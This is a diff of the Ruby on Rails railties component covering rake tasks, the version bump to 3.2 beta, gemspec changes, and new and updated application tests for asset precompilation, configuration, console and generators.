@@ -54,7 +62,7 @@ namespace :doc do rdoc.rdoc_dir = 'doc/api' rdoc.template = "#{ENV['template']}.rb" if ENV['template'] rdoc.title = "Rails Framework Documentation" - rdoc.options << '--line-numbers' << '--inline-source' + rdoc.options << '--line-numbers' rdoc.rdoc_files.include('README') gem_path('actionmailer') do |actionmailer| @@ -127,7 +135,7 @@ namespace :doc do files = Rake::FileList.new options << "-o doc/plugins/#{plugin}" options << "--title '#{plugin.titlecase} Plugin Documentation'" - options << '--line-numbers' << '--inline-source' + options << '--line-numbers' options << '--charset' << 'utf-8' options << '-T html' diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake index 2f0e7be896..eea8abe7d2 100644 --- a/railties/lib/rails/tasks/engine.rake +++ b/railties/lib/rails/tasks/engine.rake @@ -2,6 +2,7 @@ task "load_app" do namespace :app do load APP_RAKEFILE end + task :environment => "app:environment" if !defined?(ENGINE_PATH) || !ENGINE_PATH ENGINE_PATH = find_engine_path(APP_RAKEFILE) @@ -67,3 +68,5 @@ def find_engine_path(path) find_engine_path(File.expand_path('..', path)) end end + +Rake.application.invoke_task(:load_app) diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake index 77a5c4dc6c..206ce39773 100644 --- a/railties/lib/rails/tasks/framework.rake +++ b/railties/lib/rails/tasks/framework.rake @@ -2,14 +2,14 @@ namespace :rails do desc "Update configs and some other initially generated files (or use just update:configs, update:scripts, or update:application_controller)" task :update => [ "update:configs", "update:scripts", "update:application_controller" ] - desc "Applies the template supplied by LOCATION=/path/to/template" + desc "Applies the template supplied by LOCATION=(/path/to/template) or URL" task :template do template = ENV["LOCATION"] + raise "No LOCATION value given. Please set LOCATION either as path to a file or a URL" if template.blank? template = File.expand_path(template) if template !~ %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://} - require 'rails/generators' require 'rails/generators/rails/app/app_generator' - generator = Rails::Generators::AppGenerator.new [ Rails.root ], {}, :destination_root => Rails.root + generator = Rails::Generators::AppGenerator.new [Rails.root], {}, :destination_root => Rails.root generator.apply template, :verbose => false end diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake index e505b8c338..0dcca36d8b 100644 --- a/railties/lib/rails/tasks/misc.rake +++ b/railties/lib/rails/tasks/misc.rake @@ -1,5 +1,3 @@ -task :default => :test - task :rails_env do # TODO Do we really need this? unless defined? RAILS_ENV @@ -9,12 +7,12 @@ end desc 'Generate a cryptographically secure secret key (this is typically used to generate a secret for cookie sessions).' task :secret do - require 'active_support/secure_random' - puts ActiveSupport::SecureRandom.hex(64) + require 'securerandom' + puts SecureRandom.hex(64) end desc 'List versions of all Rails frameworks and the environment' -task :about do +task :about => :environment do puts Rails::Info end diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake index a0c953967c..7dc54144da 100644 --- a/railties/lib/rails/tasks/routes.rake +++ b/railties/lib/rails/tasks/routes.rake @@ -3,27 +3,7 @@ task :routes => :environment do Rails.application.reload_routes! all_routes = Rails.application.routes.routes - if ENV['CONTROLLER'] - all_routes = all_routes.select{ |route| route.defaults[:controller] == ENV['CONTROLLER'] } - end - - routes = all_routes.collect do |route| - - reqs = route.requirements.dup - reqs[:to] = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/ - reqs = reqs.empty? ? "" : reqs.inspect - - {:name => route.name.to_s, :verb => route.verb.to_s, :path => route.path, :reqs => reqs} - end - - # Skip the route if it's internal info route - routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} } - - name_width = routes.map{ |r| r[:name].length }.max - verb_width = routes.map{ |r| r[:verb].length }.max - path_width = routes.map{ |r| r[:path].length }.max - - routes.each do |r| - puts "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}" - end + require 'rails/application/route_inspector' + inspector = Rails::Application::RouteInspector.new + puts inspector.format(all_routes, ENV['CONTROLLER']).join "\n" end diff --git a/railties/lib/rails/tasks/tmp.rake b/railties/lib/rails/tasks/tmp.rake index 3ee5452475..0d6c10328f 100644 --- a/railties/lib/rails/tasks/tmp.rake +++ b/railties/lib/rails/tasks/tmp.rake @@ -4,7 +4,7 @@ namespace :tmp do desc "Creates tmp directories for sessions, cache, sockets, and pids" task :create do - FileUtils.mkdir_p(%w( tmp/sessions tmp/cache tmp/sockets tmp/pids )) + FileUtils.mkdir_p(%w( tmp/sessions tmp/cache tmp/sockets tmp/pids tmp/cache/assets )) end namespace :sessions do diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb index 41485c8bac..8d0d8cacac 100644 --- a/railties/lib/rails/test_help.rb +++ b/railties/lib/rails/test_help.rb @@ -3,7 +3,6 @@ abort("Abort testing: Your Rails environment is running in production mode!") if Rails.env.production? require 'test/unit' -require 'active_support/core_ext/kernel/requires' require 'active_support/test_case' require 'action_controller/test_case' require 'action_dispatch/testing/integration' @@ -25,7 +24,7 @@ if defined?(MiniTest) end end -if defined?(ActiveRecord) +if defined?(ActiveRecord::Base) require 'active_record/test_case' class ActiveSupport::TestCase diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake index 28dc40379b..3d87529ad4 100644 --- a/railties/lib/rails/test_unit/testing.rake +++ b/railties/lib/rails/test_unit/testing.rake @@ -61,6 +61,7 @@ end # Recreated here from Active Support because :uncommitted needs it before Rails is available module Kernel + remove_method :silence_stderr # Removing old method to prevent method redefined warning def silence_stderr old_stderr = STDERR.dup STDERR.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null') @@ -71,6 +72,8 @@ module Kernel end end +task :default => :test + desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile, test:plugins)' task :test do tests_to_run = ENV['TEST'] ? ["test:single"] : %w(test:units test:functionals test:integration) @@ -79,10 +82,14 @@ task :test do Rake::Task[task].invoke nil rescue => e - task + { :task => task, :exception => e } end end.compact - abort "Errors running #{errors * ', '}!" if errors.any? + + if errors.any? + puts errors.map { |e| "Errors running #{e[:task]}! #{e[:exception].inspect}" }.join("\n") + abort + end end namespace :test do @@ -104,9 +111,9 @@ namespace :test do Rake::TestTask.new(:uncommitted => "test:prepare") do |t| def t.file_list if File.directory?(".svn") - changed_since_checkin = silence_stderr { `svn status` }.map { |path| path.chomp[7 .. -1] } + changed_since_checkin = silence_stderr { `svn status` }.split.map { |path| path.chomp[7 .. -1] } elsif File.directory?(".git") - changed_since_checkin = silence_stderr { `git ls-files --modified --others` }.map { |path| path.chomp } + changed_since_checkin = silence_stderr { `git ls-files --modified --others` }.split.map { |path| path.chomp } else abort "Not a Subversion or Git checkout." end diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb index fc6c0a0204..254227ecf7 100644 --- a/railties/lib/rails/version.rb +++ b/railties/lib/rails/version.rb @@ -1,9 +1,9 @@ module Rails module VERSION #:nodoc: MAJOR = 3 - MINOR = 1 + MINOR = 2 TINY = 0 - PRE = "beta1" + PRE = "beta" STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end diff --git a/railties/railties.gemspec b/railties/railties.gemspec index 4404838670..b917128885 100644 --- a/railties/railties.gemspec +++ b/railties/railties.gemspec @@ -11,16 +11,19 @@ Gem::Specification.new do |s| s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' s.homepage = 'http://www.rubyonrails.org' - s.rubyforge_project = 'rails' s.files = Dir['CHANGELOG', 'README.rdoc', 'bin/**/*', 'guides/**/*', 'lib/**/{*,.[a-z]*}'] s.require_path = 'lib' + s.bindir = 'bin' + s.executables = ['rails'] + s.rdoc_options << '--exclude' << '.' s.add_dependency('rake', '>= 0.8.7') s.add_dependency('thor', '~> 0.14.6') s.add_dependency('rack-ssl', '~> 1.3.2') + s.add_dependency('rdoc', '~> 3.4') s.add_dependency('activesupport', version) s.add_dependency('actionpack', version) end diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb index 8b38081667..1c3f8a701a 100644 --- a/railties/test/abstract_unit.rb +++ b/railties/test/abstract_unit.rb @@ -10,7 +10,6 @@ require 'active_support/core_ext/logger' require 'action_controller' require 'rails/all' -# TODO: Remove these hacks module TestApp class Application < Rails::Application config.root = File.dirname(__FILE__) diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb new file mode 100644 index 0000000000..1b99af22a4 --- /dev/null +++ b/railties/test/application/asset_debugging_test.rb @@ -0,0 +1,65 @@ +require 'isolation/abstract_unit' +require 'rack/test' + +module ApplicationTests + class AssetDebuggingTest < Test::Unit::TestCase + include ActiveSupport::Testing::Isolation + include Rack::Test::Methods + + def setup + build_app(:initializers => true) + + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }" + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + app_file "app/controllers/posts_controller.rb", <<-RUBY + class PostsController < ActionController::Base + end + RUBY + + ENV["RAILS_ENV"] = "production" + + boot_rails + end + + def teardown + teardown_app + end + + test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do + # config.assets.debug and config.assets.compile are false for production environment + ENV["RAILS_ENV"] = "production" + capture(:stdout) do + Dir.chdir(app_path){ `bundle exec rake assets:precompile` } + end + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + # the debug_assets params isn't used if compile is off + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets aren't concatened when compile is true is on and debug_assets params is true" do + app_file "config/initializers/compile.rb", "Rails.application.config.assets.compile = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + end + end +end diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb index 98a702f134..d4ffbe3d66 100644 --- a/railties/test/application/assets_test.rb +++ b/railties/test/application/assets_test.rb @@ -1,22 +1,34 @@ +# -*- coding: utf-8 -*- require 'isolation/abstract_unit' +require 'active_support/core_ext/kernel/reporting' require 'rack/test' module ApplicationTests - class RoutingTest < Test::Unit::TestCase + class AssetsTest < Test::Unit::TestCase include ActiveSupport::Testing::Isolation include Rack::Test::Methods def setup - build_app + build_app(:initializers => true) boot_rails end + def teardown + teardown_app + end + def app @app ||= Rails.application end + def precompile! + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile` } + end + end + test "assets routes have higher priority" do - app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;" app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do @@ -27,7 +39,290 @@ module ApplicationTests require "#{app_path}/config/environment" get "/assets/demo.js" + assert_equal 'a = "/assets/rails.png";', last_response.body.strip + end + + test "assets do not require compressors until it is used" do + app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + add_to_env_config "production", "config.assets.compile = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + assert !defined?(Uglifier) + get "/assets/demo.js" assert_match "alert()", last_response.body + assert defined?(Uglifier) + end + + test "precompile creates the file, gives it the original asset's content and run in production as default" do + app_file "app/assets/javascripts/application.js", "alert();" + app_file "app/assets/javascripts/foo/application.js", "alert();" + + ENV["RAILS_ENV"] = nil + precompile! + + files = Dir["#{app_path}/public/assets/application-*.js"] + files << Dir["#{app_path}/public/assets/application.js"].first + files << Dir["#{app_path}/public/assets/foo/application-*.js"].first + files << Dir["#{app_path}/public/assets/foo/application.js"].first + files.each do |file| + assert_not_nil file, "Expected application.js asset to be generated, but none found" + assert_equal "alert()", File.read(file) + end + end + + test "precompile application.js and application.css and all other files not ending with .js or .css by default" do + app_file "app/assets/javascripts/application.js", "alert();" + app_file "app/assets/stylesheets/application.css", "body{}" + + app_file "app/assets/javascripts/someapplication.js", "alert();" + app_file "app/assets/stylesheets/someapplication.css", "body{}" + + app_file "app/assets/javascripts/something.min.js", "alert();" + app_file "app/assets/stylesheets/something.min.css", "body{}" + + images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png", + "happy-face.png", "happy.happy_face.png", "happy_happy.face.png", + "happy.happy.face.png", "happy", "happy.face", "-happyface", + "-happy.png", "-happy.face.png", "_happyface", "_happy.face.png", + "_happy.png"] + + images_should_compile.each do |filename| + app_file "app/assets/images/#{filename}", "happy" + end + + precompile! + + images_should_compile.each do |filename| + assert File.exists?("#{app_path}/public/assets/#{filename}") + end + + assert File.exists?("#{app_path}/public/assets/application.js") + assert File.exists?("#{app_path}/public/assets/application.css") + + assert !File.exists?("#{app_path}/public/assets/someapplication.js") + assert !File.exists?("#{app_path}/public/assets/someapplication.css") + + assert !File.exists?("#{app_path}/public/assets/something.min.js") + assert !File.exists?("#{app_path}/public/assets/something.min.css") + end + + test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do + add_to_config "config.assets.digest = true" + add_to_config "config.action_controller.perform_caching = false" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + assert_equal Sprockets::Index, Rails.application.assets.class + end + + test "precompile creates a manifest file with all the assets listed" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + + precompile! + manifest = "#{app_path}/public/assets/manifest.yml" + + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + assert_match(/application-([0-z]+)\.css/, assets["application.css"]) + end + + test "precompile creates a manifest file in a custom path with all the assets listed" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + add_to_config "config.assets.manifest = '#{app_path}/shared'" + + precompile! + manifest = "#{app_path}/shared/manifest.yml" + + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + assert_match(/application-([0-z]+)\.css/, assets["application.css"]) + end + + test "the manifest file should be saved by default in the same assets folder" do + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + add_to_config "config.assets.prefix = '/x'" + + precompile! + + manifest = "#{app_path}/public/x/manifest.yml" + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + end + + test "precompile does not append asset digests when config.assets.digest is false" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + add_to_config "config.assets.digest = false" + + precompile! + + assert File.exists?("#{app_path}/public/assets/application.js") + assert File.exists?("#{app_path}/public/assets/application.css") + + manifest = "#{app_path}/public/assets/manifest.yml" + + assets = YAML.load_file(manifest) + assert_equal "application.js", assets["application.js"] + assert_equal "application.css", assets["application.css"] + end + + test "assets do not require any assets group gem when manifest file is present" do + app_file "app/assets/javascripts/application.js", "alert();" + add_to_env_config "production", "config.serve_static_assets = true" + + ENV["RAILS_ENV"] = "production" + precompile! + + manifest = "#{app_path}/public/assets/manifest.yml" + assets = YAML.load_file(manifest) + asset_path = assets["application.js"] + + require "#{app_path}/config/environment" + + # Checking if Uglifier is defined we can know if Sprockets was reached or not + assert !defined?(Uglifier) + get "/assets/#{asset_path}" + assert_match "alert()", last_response.body + assert !defined?(Uglifier) + end + + test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled" do + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + ENV["RAILS_ENV"] = "production" + precompile! + + # Create file after of precompile + app_file "app/assets/javascripts/app.js", "alert();" + + require "#{app_path}/config/environment" + class ::PostsController < ActionController::Base ; end + + get '/posts' + assert_match(/AssetNotPrecompiledError/, last_response.body) + assert_match(/app.js isn't precompiled/, last_response.body) + end + + test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled if digest is disabled" do + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>" + add_to_config "config.assets.compile = false" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + ENV["RAILS_ENV"] = "development" + precompile! + + # Create file after of precompile + app_file "app/assets/javascripts/app.js", "alert();" + + require "#{app_path}/config/environment" + class ::PostsController < ActionController::Base ; end + + get '/posts' + assert_match(/AssetNotPrecompiledError/, last_response.body) + assert_match(/app.js isn't precompiled/, last_response.body) + end + + test "precompile properly refers files referenced with asset_path and and run in the provided RAILS_ENV" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + # digest is default in false, we must enable it for test environment + add_to_env_config "test", "config.assets.digest = true" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_ENV=test` } + end + file = Dir["#{app_path}/public/assets/application.css"].first + assert_match(/\/assets\/rails\.png/, File.read(file)) + file = Dir["#{app_path}/public/assets/application-*.css"].first + assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) + end + + test "precompile shouldn't use the digests present in manifest.yml" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + + ENV["RAILS_ENV"] = "production" + precompile! + + manifest = "#{app_path}/public/assets/manifest.yml" + assets = YAML.load_file(manifest) + asset_path = assets["application.css"] + + app_file "app/assets/images/rails.png", "image changed" + + precompile! + assets = YAML.load_file(manifest) + + assert_not_equal asset_path, assets["application.css"] + end + + test "precompile appends the md5 hash to files referenced with asset_path and run in production as default even using RAILS_GROUPS=assets" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + add_to_config "config.assets.compile = true" + + ENV["RAILS_ENV"] = nil + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_GROUPS=assets` } + end + file = Dir["#{app_path}/public/assets/application-*.css"].first + assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) + end + + test "precompile should handle utf8 filenames" do + filename = "レイルズ.png" + app_file "app/assets/images/#{filename}", "not a image really" + add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]" + + precompile! + require "#{app_path}/config/environment" + + get "/assets/#{URI.parser.escape(filename)}" + assert_match "not a image really", last_response.body + assert File.exists?("#{app_path}/public/assets/#{filename}") + end + + test "assets are cleaned up properly" do + app_file "public/assets/application.js", "alert();" + app_file "public/assets/application.css", "a { color: green; }" + app_file "public/assets/subdir/broken.png", "not really an image file" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean` } + end + + files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/*"] + assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}" + end + + test "assets routes are not drawn when compilation is disabled" do + app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + add_to_config "config.assets.compile = false" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + get "/assets/demo.js" + assert_equal 404, last_response.status end test "does not stream session cookies back" do @@ -55,5 +350,119 @@ module ApplicationTests assert_match "alert()", last_response.body assert_equal nil, last_response.headers["Set-Cookie"] end + + test "files in any assets/ directories are not added to Sprockets" do + %w[app lib vendor].each do |dir| + app_file "#{dir}/assets/#{dir}_test.erb", "testing" + end + + app_file "app/assets/javascripts/demo.js", "alert();" + + require "#{app_path}/config/environment" + + get "/assets/demo.js" + assert_match "alert();", last_response.body + assert_equal 200, last_response.status + end + + test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do + app_with_assets_in_view + + # config.assets.debug and config.assets.compile are false for production environment + ENV["RAILS_ENV"] = "production" + precompile! + + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + # the debug_assets params isn't used if compile is off + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets aren't concatened when compile is true is on and debug_assets params is true" do + app_with_assets_in_view + add_to_env_config "production", "config.assets.compile = true" + add_to_env_config "production", "config.assets.allow_debugging = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets can access model information when precompiling" do + app_file "app/models/post.rb", "class Post; end" + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>" + + add_to_config "config.assets.digest = false" + precompile! + assert_equal "Post;\n", File.read("#{app_path}/public/assets/application.js") + end + + test "assets can't access model information when precompiling if not initializing the app" do + app_file "app/models/post.rb", "class Post; end" + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js.erb", "<%= defined?(Post) || :NoPost %>" + + add_to_config "config.assets.digest = false" + add_to_config "config.assets.initialize_on_precompile = false" + + precompile! + assert_equal "NoPost;\n", File.read("#{app_path}/public/assets/application.js") + end + + test "enhancements to assets:precompile should only run once" do + app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }" + output = precompile! + assert_equal 1, output.scan("enhancement").size + end + + test "digested assets are not mistakenly removed" do + app_file "app/assets/application.js", "alert();" + add_to_config "config.assets.compile = true" + add_to_config "config.assets.digest = true" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean assets:precompile` } + end + + files = Dir["#{app_path}/public/assets/application-*.js"] + assert_equal 1, files.length, "Expected digested application.js asset to be generated, but none found" + end + + test "digested assets are removed from configured path" do + app_file "public/production_assets/application.js", "alert();" + add_to_env_config "production", "config.assets.prefix = 'production_assets'" + + ENV["RAILS_ENV"] = nil + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean` } + end + + files = Dir["#{app_path}/public/production_assets/application.js"] + assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists" + end + + private + + def app_with_assets_in_view + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }" + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + end end end diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb index 0e27c9606d..f356805d6e 100644 --- a/railties/test/application/configuration_test.rb +++ b/railties/test/application/configuration_test.rb @@ -35,9 +35,25 @@ module ApplicationTests end def teardown + teardown_app FileUtils.rm_rf(new_app) if File.directory?(new_app) end + test "Rails.groups returns available groups" do + require "rails" + + Rails.env = "development" + assert_equal [:default, "development"], Rails.groups + assert_equal [:default, "development", :assets], Rails.groups(:assets => [:development]) + assert_equal [:default, "development", :another, :assets], Rails.groups(:another, :assets => %w(development)) + + Rails.env = "test" + assert_equal [:default, "test"], Rails.groups(:assets => [:development]) + + ENV["RAILS_GROUPS"] = "javascripts,stylesheets" + assert_equal [:default, "test", "javascripts", "stylesheets"], Rails.groups + end + test "Rails.application is nil until app is initialized" do require 'rails' assert_nil Rails.application @@ -290,7 +306,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") end @@ -303,7 +319,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") end @@ -316,7 +332,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") end @@ -329,7 +345,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailObserver, ::MyOtherMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") end @@ -460,7 +476,7 @@ module ApplicationTests app_file 'app/controllers/posts_controller.rb', <<-RUBY class PostsController < ApplicationController - def index + def create render :text => params[:post].inspect end end @@ -500,5 +516,14 @@ module ApplicationTests get "/", { :format => :xml }, "HTTP_ACCEPT" => "application/xml" assert_equal 'XML', last_response.body end + + test "Rails.application#env_config exists and include some existing parameters" do + make_basic_app + + assert_respond_to app, :env_config + assert_equal app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters + assert_equal app.env_config['action_dispatch.secret_token'], app.config.secret_token + assert_equal app.env_config['action_dispatch.show_exceptions'], app.config.action_dispatch.show_exceptions + end end end diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb index 5ae6323345..1528d5dd87 100644 --- a/railties/test/application/console_test.rb +++ b/railties/test/application/console_test.rb @@ -1,16 +1,21 @@ require 'isolation/abstract_unit' class ConsoleTest < Test::Unit::TestCase - include ActiveSupport::Testing::Isolation + include ActiveSupport::Testing::Isolation def setup build_app boot_rails end + def teardown + teardown_app + end + def load_environment(sandbox = false) require "#{rails_root}/config/environment" - Rails.application.load_console(sandbox) + Rails.application.sandbox = sandbox + Rails.application.load_console end def test_app_method_should_return_integration_session @@ -78,8 +83,8 @@ class ConsoleTest < Test::Unit::TestCase value = false Class.new(Rails::Railtie) do - console do |sandbox| - value = sandbox + console do |app| + value = app.sandbox? end end diff --git a/railties/test/application/generators_test.rb b/railties/test/application/generators_test.rb index 8b840fffd0..4365d00b1f 100644 --- a/railties/test/application/generators_test.rb +++ b/railties/test/application/generators_test.rb @@ -9,6 +9,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + def app_const @app_const ||= Class.new(Rails::Application) end @@ -68,8 +72,7 @@ module ApplicationTests # Initialize the application require "#{app_path}/config/environment" - require "rails/generators" - Rails::Generators.configure! + Rails.application.load_generators assert_equal :rspec, Rails::Generators.options[:rails][:test_framework] assert_equal "-w", Rails::Generators.aliases[:rails][:test_framework] @@ -84,8 +87,7 @@ module ApplicationTests # Initialize the application require "#{app_path}/config/environment" - require "rails/generators" - Rails::Generators.configure! + Rails.application.load_generators assert_equal Thor::Base.shell, Thor::Shell::Basic end diff --git a/railties/test/application/initializers/boot_test.rb b/railties/test/application/initializers/boot_test.rb index 5ec562f12f..b1e01dc13f 100644 --- a/railties/test/application/initializers/boot_test.rb +++ b/railties/test/application/initializers/boot_test.rb @@ -9,8 +9,12 @@ module ApplicationTests # boot_rails end + def teardown + # teardown_app + end + test "booting rails sets the load paths correctly" do # This test is pending reworking the boot process end end -end
\ No newline at end of file +end diff --git a/railties/test/application/initializers/check_ruby_version_test.rb b/railties/test/application/initializers/check_ruby_version_test.rb index 5b6196307d..df7e9696a9 100644 --- a/railties/test/application/initializers/check_ruby_version_test.rb +++ b/railties/test/application/initializers/check_ruby_version_test.rb @@ -9,6 +9,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + test "rails initializes with ruby 1.8.7 or later, except for 1.9.1" do if RUBY_VERSION < '1.8.7' assert_rails_does_not_boot diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb index 196d121c14..446c85d65a 100644 --- a/railties/test/application/initializers/frameworks_test.rb +++ b/railties/test/application/initializers/frameworks_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + # AC & AM test "set load paths set only if action controller or action mailer are in use" do assert_nothing_raised NameError do diff --git a/railties/test/application/initializers/hooks_test.rb b/railties/test/application/initializers/hooks_test.rb index 198abbe861..8c7726339c 100644 --- a/railties/test/application/initializers/hooks_test.rb +++ b/railties/test/application/initializers/hooks_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + test "load initializers" do app_file "config/initializers/foo.rb", "$foo = true" require "#{app_path}/config/environment" diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb index 390f65ab5c..8c2c079fb8 100644 --- a/railties/test/application/initializers/i18n_test.rb +++ b/railties/test/application/initializers/i18n_test.rb @@ -11,6 +11,10 @@ module ApplicationTests require "rails/all" end + def teardown + teardown_app + end + def load_app require "#{app_path}/config/environment" end @@ -48,7 +52,7 @@ module ApplicationTests end test "locale files should be added to the load path" do - app_file "config/another_locale.yml", "" + app_file "config/another_locale.yml", "en:\nfoo: ~" add_to_config <<-RUBY config.i18n.load_path << config.root.join("config/another_locale.yml").to_s @@ -127,7 +131,7 